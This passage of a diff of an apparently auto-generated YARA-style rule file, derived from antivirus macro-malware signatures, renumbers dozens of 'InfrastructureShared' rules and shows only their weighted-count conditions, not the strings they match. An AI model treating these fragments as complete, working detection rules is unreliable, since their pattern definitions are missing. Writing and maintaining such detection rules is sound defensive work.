"!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -308439,7 +324934,7 @@ rule _InfrastructureShared_23673{ ((#a_53_0 & 1)*19747+(#a_65_1 & 1)*29550+(#a_65_2 & 1)*29558) >=3 } -rule _InfrastructureShared_23674{ +rule _InfrastructureShared_24960{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 04 00 21 " @@ -308452,7 +324947,7 @@ rule _InfrastructureShared_23674{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*10341+(#a_64_2 & 1)*25378+(#a_90_3 & 1)*16386) >=3 } -rule _InfrastructureShared_23675{ +rule _InfrastructureShared_24961{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -308465,7 +324960,7 @@ rule _InfrastructureShared_23675{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*16386+(#a_02_2 & 1)*29504+(#a_74_3 & 1)*656) >=4 } -rule _InfrastructureShared_23676{ +rule _InfrastructureShared_24962{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -308478,7 +324973,7 @@ rule _InfrastructureShared_23676{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*16386+(#a_02_2 & 1)*29504+(#a_74_3 & 1)*656) >=4 } -rule _InfrastructureShared_23677{ +rule _InfrastructureShared_24963{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -308491,7 +324986,7 @@ rule _InfrastructureShared_23677{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*16386+(#a_02_2 & 1)*29504+(#a_90_3 & 1)*656) >=4 } -rule _InfrastructureShared_23678{ +rule _InfrastructureShared_24964{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -308503,7 +324998,7 @@ rule _InfrastructureShared_23678{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*13168+(#a_00_2 & 1)*0) >=4 } -rule _InfrastructureShared_23679{ +rule _InfrastructureShared_24965{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -308513,7 +325008,7 @@ rule _InfrastructureShared_23679{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23680{ +rule _InfrastructureShared_24966{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 04 00 21 " @@ -308526,7 +325021,7 @@ rule _InfrastructureShared_23680{ ((#a_53_0 & 1)*19747+(#a_03_1 & 1)*1+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1) >=1 } -rule _InfrastructureShared_23681{ +rule _InfrastructureShared_24967{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -308537,7 +325032,7 @@ rule _InfrastructureShared_23681{ ((#a_4c_0 & 1)*21539+(#a_6e_1 & 1)*10537) >=2 } -rule _InfrastructureShared_23682{ +rule _InfrastructureShared_24968{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 04 00 21 " @@ -308550,7 +325045,7 @@ rule _InfrastructureShared_23682{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*28021+(#a_20_2 & 1)*4098+(#a_23_3 & 1)*3) >=2 } -rule _InfrastructureShared_23683{ +rule _InfrastructureShared_24969{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -308562,7 +325057,7 @@ rule _InfrastructureShared_23683{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_3d_2 & 1)*15872) >=3 } -rule _InfrastructureShared_23684{ +rule _InfrastructureShared_24970{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -308574,7 +325069,7 @@ rule _InfrastructureShared_23684{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*16386+(#a_03_2 & 1)*1) >=3 } -rule _InfrastructureShared_23685{ +rule _InfrastructureShared_24971{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -308586,7 +325081,7 @@ rule _InfrastructureShared_23685{ ((#a_53_0 & 1)*19747+(#a_31_1 & 1)*11552+(#a_69_2 & 1)*25964) >=3 } -rule _InfrastructureShared_23686{ +rule _InfrastructureShared_24972{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 05 00 21 " @@ -308600,7 +325095,7 @@ rule _InfrastructureShared_23686{ ((#a_53_0 & 1)*19747+(#a_50_1 & 1)*29554+(#a_75_2 & 1)*25461+(#a_02_3 & 1)*13168+(#a_20_4 & 1)*656) >=3 } -rule _InfrastructureShared_23687{ +rule _InfrastructureShared_24973{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -308613,7 +325108,7 @@ rule _InfrastructureShared_23687{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_45_2 & 1)*9216+(#a_25_3 & 1)*-28570) >=4 } -rule _InfrastructureShared_23688{ +rule _InfrastructureShared_24974{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -308626,7 +325121,7 @@ rule _InfrastructureShared_23688{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*16386+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1) >=4 } -rule _InfrastructureShared_23689{ +rule _InfrastructureShared_24975{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -308639,7 +325134,7 @@ rule _InfrastructureShared_23689{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_2e_2 & 1)*7936+(#a_90_3 & 1)*25972) >=4 } -rule _InfrastructureShared_23690{ +rule _InfrastructureShared_24976{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -308651,7 +325146,7 @@ rule _InfrastructureShared_23690{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*29801+(#a_76_2 & 1)*11040) >=5 } -rule _InfrastructureShared_23691{ +rule _InfrastructureShared_24977{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -308665,7 +325160,7 @@ rule _InfrastructureShared_23691{ ((#a_53_0 & 1)*19747+(#a_01_1 & 1)*1+(#a_03_2 & 1)*1+(#a_01_3 & 1)*1+(#a_03_4 & 1)*1) >=5 } -rule _InfrastructureShared_23692{ +rule _InfrastructureShared_24978{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 06 00 21 " @@ -308680,7 +325175,7 @@ rule _InfrastructureShared_23692{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*25890+(#a_20_2 & 1)*23553+(#a_5c_3 & 1)*5376+(#a_6e_4 & 1)*8742+(#a_40_5 & 1)*-28562) >=1 } -rule _InfrastructureShared_23693{ +rule _InfrastructureShared_24979{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -308692,7 +325187,7 @@ rule _InfrastructureShared_23693{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*-28640+(#a_70_2 & 1)*-28638) >=3 } -rule _InfrastructureShared_23694{ +rule _InfrastructureShared_24980{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -308704,7 +325199,7 @@ rule _InfrastructureShared_23694{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*-28640+(#a_70_2 & 1)*-28638) >=3 } -rule _InfrastructureShared_23695{ +rule _InfrastructureShared_24981{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -308716,7 +325211,7 @@ rule _InfrastructureShared_23695{ ((#a_53_0 & 1)*19747+(#a_74_1 & 1)*25970+(#a_90_2 & 1)*16386) >=3 } -rule _InfrastructureShared_23696{ +rule _InfrastructureShared_24982{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -308728,7 +325223,7 @@ rule _InfrastructureShared_23696{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*-28640+(#a_70_2 & 1)*-28638) >=3 } -rule _InfrastructureShared_23697{ +rule _InfrastructureShared_24983{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -308740,7 +325235,7 @@ rule _InfrastructureShared_23697{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_3d_2 & 1)*16384) >=3 } -rule _InfrastructureShared_23698{ +rule _InfrastructureShared_24984{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -308753,7 +325248,7 @@ rule _InfrastructureShared_23698{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*16386+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1) >=4 } -rule _InfrastructureShared_23699{ +rule _InfrastructureShared_24985{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -308766,7 +325261,7 @@ rule _InfrastructureShared_23699{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*16386+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1) >=4 } -rule _InfrastructureShared_23700{ +rule _InfrastructureShared_24986{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -308779,7 +325274,7 @@ rule _InfrastructureShared_23700{ ((#a_53_0 & 1)*19747+(#a_2b_2 & 1)*6144+(#a_63_3 & 1)*17442+(#a_20_4 & 1)*274) >=5 } -rule _InfrastructureShared_23701{ +rule _InfrastructureShared_24987{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -308790,7 +325285,7 @@ rule _InfrastructureShared_23701{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*26223) >=2 } -rule _InfrastructureShared_23702{ +rule _InfrastructureShared_24988{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -308801,7 +325296,7 @@ rule _InfrastructureShared_23702{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290) >=2 } -rule _InfrastructureShared_23703{ +rule _InfrastructureShared_24989{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -308813,7 +325308,7 @@ rule _InfrastructureShared_23703{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*-28562+(#a_20_2 & 1)*26948) >=3 } -rule _InfrastructureShared_23704{ +rule _InfrastructureShared_24990{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -308825,7 +325320,7 @@ rule _InfrastructureShared_23704{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8235+(#a_00_2 & 1)*-28928) >=3 } -rule _InfrastructureShared_23705{ +rule _InfrastructureShared_24991{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -308837,7 +325332,7 @@ rule _InfrastructureShared_23705{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8235+(#a_00_2 & 1)*-28928) >=3 } -rule _InfrastructureShared_23706{ +rule _InfrastructureShared_24992{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -308850,7 +325345,7 @@ rule _InfrastructureShared_23706{ ((#a_53_0 & 1)*19747+(#a_54_1 & 1)*26964+(#a_74_2 & 1)*25940+(#a_74_3 & 1)*28018) >=4 } -rule _InfrastructureShared_23707{ +rule _InfrastructureShared_24993{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -308866,7 +325361,7 @@ rule _InfrastructureShared_23707{ ((#a_53_0 & 1)*19747+(#a_28_1 & 1)*26988+(#a_4f_2 & 1)*29793+(#a_20_3 & 1)*8224+(#a_20_4 & 1)*8297+(#a_32_5 & 1)*11369+(#a_20_6 & 1)*8224) >=7 } -rule _InfrastructureShared_23708{ +rule _InfrastructureShared_24994{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -308876,7 +325371,7 @@ rule _InfrastructureShared_23708{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_23709{ +rule _InfrastructureShared_24995{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -308887,7 +325382,7 @@ rule _InfrastructureShared_23709{ ((#a_46_0 & 1)*16675+(#a_26_1 & 1)*10553) >=2 } -rule _InfrastructureShared_23710{ +rule _InfrastructureShared_24996{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -308899,7 +325394,7 @@ rule _InfrastructureShared_23710{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*11040+(#a_40_2 & 1)*-28577) >=3 } -rule _InfrastructureShared_23711{ +rule _InfrastructureShared_24997{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -308912,7 +325407,7 @@ rule _InfrastructureShared_23711{ ((#a_53_0 & 1)*19747+(#a_65_1 & 1)*15648+(#a_73_2 & 1)*29811+(#a_4d_3 & 1)*8236) >=4 } -rule _InfrastructureShared_23712{ +rule _InfrastructureShared_24998{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -308925,7 +325420,7 @@ rule _InfrastructureShared_23712{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_3d_2 & 1)*13824+(#a_73_3 & 1)*25974) >=4 } -rule _InfrastructureShared_23713{ +rule _InfrastructureShared_24999{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -308939,7 +325434,7 @@ rule _InfrastructureShared_23713{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*28784+(#a_22_2 & 1)*18025+(#a_22_3 & 1)*27745+(#a_6e_4 & 1)*9472) >=5 } -rule _InfrastructureShared_23714{ +rule _InfrastructureShared_25000{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -308953,7 +325448,7 @@ rule _InfrastructureShared_23714{ ((#a_53_0 & 1)*19747+(#a_6c_1 & 1)*30067+(#a_5f_2 & 1)*30319+(#a_78_3 & 1)*15648+(#a_71_4 & 1)*25697) >=5 } -rule _InfrastructureShared_23715{ +rule _InfrastructureShared_25001{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0e 00 0e 00 07 00 21 " @@ -308968,7 +325463,7 @@ rule _InfrastructureShared_23715{ ((#a_4c_0 & 1)*21539+(#a_66_1 & 1)*27756+(#a_6b_2 & 1)*28514+(#a_00_4 & 1)*1+(#a_4d_5 & 1)*8448+(#a_36_6 & 1)*27442) >=14 } -rule _InfrastructureShared_23716{ +rule _InfrastructureShared_25002{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -308978,7 +325473,7 @@ rule _InfrastructureShared_23716{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23717{ +rule _InfrastructureShared_25003{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -308989,7 +325484,7 @@ rule _InfrastructureShared_23717{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*8236) >=2 } -rule _InfrastructureShared_23718{ +rule _InfrastructureShared_25004{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -309001,7 +325496,7 @@ rule _InfrastructureShared_23718{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*16386+(#a_03_2 & 1)*1) >=3 } -rule _InfrastructureShared_23719{ +rule _InfrastructureShared_25005{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -309014,7 +325509,7 @@ rule _InfrastructureShared_23719{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*25960+(#a_2e_2 & 1)*12576+(#a_54_3 & 1)*18509) >=4 } -rule _InfrastructureShared_23720{ +rule _InfrastructureShared_25006{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -309027,7 +325522,7 @@ rule _InfrastructureShared_23720{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*16386+(#a_02_2 & 1)*29504+(#a_62_3 & 1)*12109) >=4 } -rule _InfrastructureShared_23721{ +rule _InfrastructureShared_25007{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -309041,7 +325536,7 @@ rule _InfrastructureShared_23721{ ((#a_46_0 & 1)*16675+(#a_2c_1 & 1)*12576+(#a_20_2 & 1)*25966+(#a_6f_3 & 1)*29793+(#a_01_4 & 1)*1) >=5 } -rule _InfrastructureShared_23722{ +rule _InfrastructureShared_25008{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -309055,7 +325550,7 @@ rule _InfrastructureShared_23722{ ((#a_54_0 & 1)*18467+(#a_34_1 & 1)*13869+(#a_45_2 & 1)*27749+(#a_37_3 & 1)*20282+(#a_01_4 & 1)*28261) >=5 } -rule _InfrastructureShared_23723{ +rule _InfrastructureShared_25009{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -309070,7 +325565,7 @@ rule _InfrastructureShared_23723{ ((#a_53_0 & 1)*19747+(#a_2e_1 & 1)*28261+(#a_65_2 & 1)*24910+(#a_43_3 & 1)*2560+(#a_46_4 & 1)*29793+(#a_44_5 & 1)*28793) >=6 } -rule _InfrastructureShared_23724{ +rule _InfrastructureShared_25010{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,4d 04 4d 04 0b 00 21 " @@ -309090,7 +325585,7 @@ rule _InfrastructureShared_23724{ ((#a_46_0 & 1)*21283+(#a_6c_1 & 1)*18021+(#a_74_2 & 1)*31090+(#a_6d_3 & 1)*29811+(#a_20_4 & 1)*25445+(#a_6d_5 & 1)*25390+(#a_6c_6 & 1)*26707+(#a_90_7 & 1)*28674+(#a_02_8 & 1)*29504+(#a_55_9 & 1)*19767+(#a_3d_10 & 1)*7424) >=1101 } -rule _InfrastructureShared_23725{ +rule _InfrastructureShared_25011{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -309102,7 +325597,7 @@ rule _InfrastructureShared_23725{ ((#a_53_0 & 1)*19747+(#a_75_1 & 1)*29285+(#a_68_2 & 1)*8307) >=3 } -rule _InfrastructureShared_23726{ +rule _InfrastructureShared_25012{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -309115,7 +325610,7 @@ rule _InfrastructureShared_23726{ ((#a_46_0 & 1)*16675+(#a_76_1 & 1)*21294+(#a_74_2 & 1)*8230+(#a_02_3 & 1)*24384) >=4 } -rule _InfrastructureShared_23727{ +rule _InfrastructureShared_25013{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -309128,7 +325623,7 @@ rule _InfrastructureShared_23727{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_3d_2 & 1)*11008+(#a_90_3 & 1)*29801) >=4 } -rule _InfrastructureShared_23728{ +rule _InfrastructureShared_25014{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -309142,7 +325637,7 @@ rule _InfrastructureShared_23728{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*28530+(#a_65_2 & 1)*21349+(#a_90_3 & 1)*11312+(#a_5f_4 & 1)*29801) >=5 } -rule _InfrastructureShared_23729{ +rule _InfrastructureShared_25015{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -309156,7 +325651,7 @@ rule _InfrastructureShared_23729{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*11305+(#a_22_2 & 1)*11296+(#a_6e_4 & 1)*17198+(#a_00_5 & 1)*112) >=6 } -rule _InfrastructureShared_23730{ +rule _InfrastructureShared_25016{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,08 00 08 00 09 00 21 " @@ -309173,7 +325668,7 @@ rule _InfrastructureShared_23730{ ((#a_53_0 & 1)*19747+(#a_70_2 & 1)*29800+(#a_01_3 & 1)*13164+(#a_72_4 & 1)*26707+(#a_73_5 & 1)*8313+(#a_72_6 & 1)*29559+(#a_2b_7 & 1)*-28670+(#a_20_8 & 1)*-28553) >=8 } -rule _InfrastructureShared_23731{ +rule _InfrastructureShared_25017{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,28 00 28 00 08 00 21 " @@ -309190,7 +325685,7 @@ rule _InfrastructureShared_23731{ ((#a_4c_0 & 1)*21539+(#a_90_1 & 1)*8230+(#a_29_2 & 1)*28001+(#a_65_3 & 1)*29254+(#a_3d_4 & 1)*-27390+(#a_25_5 & 1)*-28640+(#a_20_6 & 1)*-28640+(#a_41_7 & 1)*10528) >=40 } -rule _InfrastructureShared_23732{ +rule _InfrastructureShared_25018{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -309200,7 +325695,7 @@ rule _InfrastructureShared_23732{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23733{ +rule _InfrastructureShared_25019{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -309211,7 +325706,7 @@ rule _InfrastructureShared_23733{ ((#a_53_0 & 1)*19747+(#a_5a_1 & 1)*16646) >=1 } -rule _InfrastructureShared_23734{ +rule _InfrastructureShared_25020{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -309223,7 +325718,7 @@ rule _InfrastructureShared_23734{ ((#a_46_0 & 1)*21283+(#a_59_1 & 1)*19032+(#a_57_2 & 1)*12366) >=1 } -rule _InfrastructureShared_23735{ +rule _InfrastructureShared_25021{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -309234,7 +325729,7 @@ rule _InfrastructureShared_23735{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*25449) >=2 } -rule _InfrastructureShared_23736{ +rule _InfrastructureShared_25022{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -309246,7 +325741,7 @@ rule _InfrastructureShared_23736{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_22_2 & 1)*17408) >=3 } -rule _InfrastructureShared_23737{ +rule _InfrastructureShared_25023{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -309258,7 +325753,7 @@ rule _InfrastructureShared_23737{ ((#a_46_0 & 1)*16675+(#a_78_1 & 1)*21605+(#a_77_2 & 1)*10348) >=4 } -rule _InfrastructureShared_23738{ +rule _InfrastructureShared_25024{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -309271,7 +325766,7 @@ rule _InfrastructureShared_23738{ ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*11040+(#a_78_2 & 1)*29806+(#a_02_3 & 1)*8235) >=4 } -rule _InfrastructureShared_23739{ +rule _InfrastructureShared_25025{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -309283,7 +325778,7 @@ rule _InfrastructureShared_23739{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_53_2 & 1)*22784) >=3 } -rule _InfrastructureShared_23740{ +rule _InfrastructureShared_25026{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -309296,7 +325791,7 @@ rule _InfrastructureShared_23740{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*16386+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1) >=4 } -rule _InfrastructureShared_23741{ +rule _InfrastructureShared_25027{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -309309,7 +325804,7 @@ rule _InfrastructureShared_23741{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*16386+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1) >=4 } -rule _InfrastructureShared_23742{ +rule _InfrastructureShared_25028{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -309322,7 +325817,7 @@ rule _InfrastructureShared_23742{ ((#a_53_0 & 1)*19747+(#a_73_1 & 1)*26708+(#a_20_2 & 1)*18691+(#a_6c_3 & 1)*24934) >=4 } -rule _InfrastructureShared_23743{ +rule _InfrastructureShared_25029{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -309335,7 +325830,7 @@ rule _InfrastructureShared_23743{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*26740+(#a_01_2 & 1)*30840+(#a_6d_3 & 1)*14930) >=4 } -rule _InfrastructureShared_23744{ +rule _InfrastructureShared_25030{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -309349,7 +325844,7 @@ rule _InfrastructureShared_23744{ ((#a_53_0 & 1)*19747+(#a_32_1 & 1)*656+(#a_74_2 & 1)*656+(#a_02_3 & 1)*8302+(#a_02_4 & 1)*12576) >=5 } -rule _InfrastructureShared_23745{ +rule _InfrastructureShared_25031{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 04 00 21 " @@ -309362,7 +325857,7 @@ rule _InfrastructureShared_23745{ ((#a_46_0 & 1)*16675+(#a_68_1 & 1)*29285+(#a_6c_2 & 1)*30073+(#a_65_3 & 1)*3584) >=7 } -rule _InfrastructureShared_23746{ +rule _InfrastructureShared_25032{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -309377,7 +325872,7 @@ rule _InfrastructureShared_23746{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*30821+(#a_6c_2 & 1)*30257+(#a_6c_4 & 1)*26707+(#a_69_5 & 1)*12084+(#a_2f_6 & 1)*14137) >=7 } -rule _InfrastructureShared_23747{ +rule _InfrastructureShared_25033{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -309387,7 +325882,7 @@ rule _InfrastructureShared_23747{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_23748{ +rule _InfrastructureShared_25034{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -309397,7 +325892,7 @@ rule _InfrastructureShared_23748{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_23749{ +rule _InfrastructureShared_25035{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -309407,7 +325902,7 @@ rule _InfrastructureShared_23749{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23750{ +rule _InfrastructureShared_25036{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -309417,7 +325912,7 @@ rule _InfrastructureShared_23750{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23751{ +rule _InfrastructureShared_25037{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -309427,7 +325922,7 @@ rule _InfrastructureShared_23751{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23752{ +rule _InfrastructureShared_25038{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -309437,7 